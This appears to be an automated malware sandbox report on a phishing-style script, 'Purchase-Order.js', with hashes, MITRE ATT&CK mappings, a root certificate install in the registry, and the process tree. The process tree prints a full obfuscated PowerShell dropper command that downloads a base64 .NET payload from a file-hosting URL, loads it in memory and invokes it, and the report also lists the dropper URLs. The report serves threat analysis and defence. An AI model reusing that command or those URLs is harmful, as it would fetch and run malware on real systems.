a367ebf98c40f810387c5485d083e4b7d0177046b67201af3dcfeb70b5e4e2bf

General

Target

Purchase-Order.js
Size

84KB
MD5

9365654ecf8a7829f0aa2d2b7d23ac34
SHA1

15f1d26d2c8298369f443398776ec2c7a60e6b22
SHA256

66a3a1836b0bf490bdcc66ff8bab7fc9ff210bbd646f1191d565f0d59be5cb1e
SHA512

f83d089d465c2f30bc233e6ec835455a9761f325bd74b97b50d9f15e9e554c88c8129bf978cfa4fe9faf1c4d60b661dc2e782503aaa88a596153aa66ddff16ef
SSDEEP

384:HZB5abmZB5abtZB5abdZB5abNZB5abtZB5abdZB5ab8ZB5abtZB5abdZB5ab+ZBc:TD

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d

exe.dropper

https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
5	2124	wscript.exe
7	2124	wscript.exe
9	1368	powershell.exe
11	1368	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1368	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Modifies system certificate store 2 TTPs 2 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	wscript.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	wscript.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1368	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1368	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2124 wrote to memory of 1368	2124	wscript.exe	31
PID 2124 wrote to memory of 1368	2124	wscript.exe	31
PID 2124 wrote to memory of 1368	2124	wscript.exe	31

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Purchase-Order.js
1⤵
- Blocklisted process makes network request
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:2124
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$UnidhjRgKKzhTPiWiGRa = '#x#.291/elif/ofni.y#enin12//:sp##h';$gWAhKQJdbkhhZLxCpGKp = $UnidhjRgKKzhTPiWiGRa -replace '#', 't';$xtLxWkHbkWpAQuiWkeGk = 'https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d';$ZmjToziUoGGGoPiRvlWf = New-Object System.Net.WebClient;$toAlKiNbCWoZCUqLLPbi = $ZmjToziUoGGGoPiRvlWf.DownloadData($xtLxWkHbkWpAQuiWkeGk);$fviKhieWsliCKcmWfRJc = [System.Text.Encoding]::UTF8.GetString($toAlKiNbCWoZCUqLLPbi);$GUUKLKiLUCZcWCINoimL = '<<BASE64_START>>';$kPKUccQGOIWcjvULQLac = '<<BASE64_END>>';$cLizhWczkiuNCAWUPWzU = $fviKhieWsliCKcmWfRJc.IndexOf($GUUKLKiLUCZcWCINoimL);$toLvHLLKnlbfLKNbLzio = $fviKhieWsliCKcmWfRJc.IndexOf($kPKUccQGOIWcjvULQLac);$cLizhWczkiuNCAWUPWzU -ge 0 -and $toLvHLLKnlbfLKNbLzio -gt $cLizhWczkiuNCAWUPWzU;$cLizhWczkiuNCAWUPWzU += $GUUKLKiLUCZcWCINoimL.Length;$KOGeAZrivHurTklkvizT = $toLvHLLKnlbfLKNbLzio - $cLizhWczkiuNCAWUPWzU;$WWWikbbriKlWqNQuLCth = $fviKhieWsliCKcmWfRJc.Substring($cLizhWczkiuNCAWUPWzU, $KOGeAZrivHurTklkvizT);$BZGWkqbnqKroWSWLsAkc = [System.Convert]::FromBase64String($WWWikbbriKlWqNQuLCth);$flojPzlPiNpnLccdcaWa = [System.Reflection.Assembly]::Load($BZGWkqbnqKroWSWLsAkc);$JbGIehAKZCIWCuHLkicg = [dnlib.IO.Home].GetMethod('VAI').Invoke($null, [object[]] @($gWAhKQJdbkhhZLxCpGKp,'','','','MSBuild','','','','','','','','','',''))"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1368

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Subvert Trust Controls

1

T1553

Install Root Certificate

1

T1553.004

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\CabC61D.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarC7C5.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
memory/1368-15-0x000007FEF5BDE000-0x000007FEF5BDF000-memory.dmp

Filesize
4KB

Download
memory/1368-16-0x000000001B660000-0x000000001B942000-memory.dmp

Filesize
2.9MB

Download
memory/1368-17-0x0000000002810000-0x0000000002818000-memory.dmp

Filesize
32KB

Download
memory/1368-18-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

Filesize
9.6MB

Download
memory/1368-20-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

Filesize
9.6MB

Download
memory/1368-19-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

Filesize
9.6MB

Download
memory/1368-21-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

Filesize
9.6MB

Download
memory/1368-22-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

Filesize
9.6MB

Download
memory/1368-57-0x000000001D4C0000-0x000000001D6C6000-memory.dmp

Filesize
2.0MB

Download
memory/1368-58-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

Filesize
9.6MB

Download

Analysis

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